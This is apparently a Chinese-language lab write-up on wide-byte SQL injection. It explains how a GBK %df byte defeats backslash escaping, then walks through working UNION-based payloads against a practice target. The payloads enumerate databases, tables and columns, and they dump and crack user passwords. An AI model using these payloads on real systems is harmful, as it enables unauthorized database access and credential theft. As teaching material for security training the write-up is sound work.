一、宽字节注入原理
首先我们先来了解一下什么叫做宽字节。
字符大小为一个字节时为窄字节,字符大小为两个及以上的字节时为宽字节。
在开发网站过程中,一些程序员为了防止SQL注入,会使用反斜杠“\”对一些特殊字符进行转义。而我们在进行SQL注入过程中,经常通过闭合单引号或者双引号来判断是否存在注入点并进行接下来的注入操作。而开发人员就对引号进行转义来防止攻击者进行SQL注入攻击,通常开发语言中的转义字符都是反斜杠“\”。
例如PHP开发语言中,magic_qutes_gpc()函数的作用就是对用户提交的数据进行解析,如有:post、get、cookie过来的数据增加转义符“\” 以确保这些数据不会引起程序错误。
但是聪明的攻击者总能想到办法来解决这个问题。因为“\”的转义后的编码为%5c,可以联想到我们中国的汉字有偏旁部首可以拼成一个汉字,那么对于转义字符编码%5c是否也可以找到一个编码跟它凑成一个新的字符呢?答案是还真有。例如在GBK编码中%df%5c就是繁体字“連”,所以这是我们就可以成功的绕过magic_qutes_gpc()函数的转义。需要小伙伴们注意的是只有是中文编码的数据库才可以这样并且数据库的编码为GBK编码。
二、宽字节注入练习
题目:墨者学院(SQL注入漏洞测试(宽字节))
地址:http://124.70.71.251:49790/new_list.php?id=1(注意地址已失效仅供参考)
首先检测一下是否存在输入点。
Payload :“http://124.70.71.251:49790/new_list.php?id=1 and 1=2”
http://124.70.71.251:49790/new_list.php?id=1 and 1=2
页面没有反应,说明and 1=2 条件没有生效,代表通过get方式提交的id值可能被符号给引用了。
先来试试单引号。
Payload:“http://124.70.71.251:49790/new_list.php?id=1' and 1=2--+”
http://124.70.71.251:49790/new_list.php?id=1' and 1=2--+
这里的--+是sql语句的注释,此外sql的常用注释还有#。
发现页面仍然没有反应。
再试一下双引号。
Payload:“http://124.70.71.251:49790/new_list.php?id=1" and 1=2--+”
http://124.70.71.251:49790/new_list.php?id=1" and 1=2--+
依旧没有反应。
这时就猜测后端是否对单引号或者双引号进行了转义。
使用在引号前面加入%df测试一下。
Payload:“http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2--+”
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2--+
发现在单引号前加入%df后,构造的and 1=2发生了作用,使得页面没有正常回显。说明可以进行宽字节注入。
这样我们就找到了注入点。
下面我们就可以先来猜测后端查询语句所查询字段的个数了
Payload:“http://124.70.71.251:49790/new_list.php?id=1%df' order by 5--+”
http://124.70.71.251:49790/new_list.php?id=1%df' order by 5--+
Order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。
通过页面显示发现,order by 5页面还可以正常的显示,order by 6页面爆出来“Unknown column '6' in 'order clause'”错误,说明后端查询语句所查询的字段数为5。
接下来我们就测试一下查询的这5个字段数据,第几个字段查询到的结果可以被前端页面给显示出来。
Payload:“http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,3,4,5--+”
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,3,4,5--+
这里加上“and 1=2”的目的是了不让id=1的结果返回,否则页面就不会显示1,2,3,4,5这几个数据了。union是sql语句中的联合查询语句。
通过页面显示我们就会发现,只有第3个跟第5个字段能被前端页面显示出来。这样我们就通过这两个位置来查询出来我们想要得到的数据。
首先爆出当前的数据库名(database()MySQL固有的查询当前数据库名的函数)和所有的数据库名。
Payload:“http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(schema_name),4,database() from information_schema.schemata--+”
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(schema_name),4,database() from information_schema.schemata--+
group_concat()是将schema_name查询的所有结果拼接起来(因为有的查询结果前端只能显示一条,这样我们就要同group_concat()函数将所有结果拼接成一条数据,这样前端就能显示出所有的查询结果)。
information_schema是mysql5.0之后自带的一个数据库,这个数据库里存放好多表,如:schemata(存放了所有的数据库名)、tables(存放了所有的表名)、columns(存放了所有的字段名)。
这样我们就查出来当前的数据库名与所有的数据库名
接下来我们就开始爆出当前数据库下的所有表名
构造以下payload:
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+
这样我们就得到了当前数据库下的所有表名。
然后我们就开始爆出stormgroup_member 表下所有的字段名。
构造payload:
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name='stormgroup_member'--+
发现页面报错,这是为什么呢?
这是我们回想到开头我们判断是否存在注入点的时候,我们已经得到了一个结论,那就是单引号和双引号都被后端给转义了,而我们的payload中“table_name=’stormgroup_member’”。
就存在单引号,所有后端在查询的时候才会报错。
这里呢有两种方法推荐给小伙伴们。
第一种呢也就是最快的一种,直接将表名stormgroup_member变成ascii码(ASCII字符串到16进制在线转换工具 - Coding.Tools),然后再拼接到payload中。
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=0x73746f726d67726f75705f6d656d626572--+
stormgroup_member的所有字母的ascii码就是0x73746f726d67726f75705f6d656d626572,其中“0x”是表示16进制。
下面介绍第二种方法.
因为我们已经可以查出表名,并且当前数据库下只有两张表,且stormgroup_member表位于查询结果的第二位。
这样我们就可以构造payload:“http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)--+”
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)--+
其中(select table_name from information_schema.tables where table_schema=database() limit 1,1) 查询出来的结果就是stormgroup_member这张表名。
limit x,y 代表从查询结果中从索引为x的位置取出y个数据,因为查询结果中stormgroup_member表位于第二的位置,索引为1,我们只希望取出stormgroup_member这一张表,所以使用limit 1,1
Ok,这样我们就爆出了stormgroup_member表的所有字段名。
最后一步我们就是爆出数据了。
Payload:“http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(password),4,group_concat(name) from stormgroup_member--+”
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(password),4,group_concat(name) from stormgroup_member--+
这样我们就爆出来stormgroup_member表中的数据。
由于密码被MD5加密了所以我们要用MD5解密(md5在线解密破解,md5解密加密)之后,在登录页面进行登录,如果登录不成功,就换另一个账号,这两个账号一定有一个能够登录的,登录成功,将页面划到最底端就可以拿到KEY了。
版权归原作者 T1ngSh0w 所有, 如有侵权,请联系我们删除。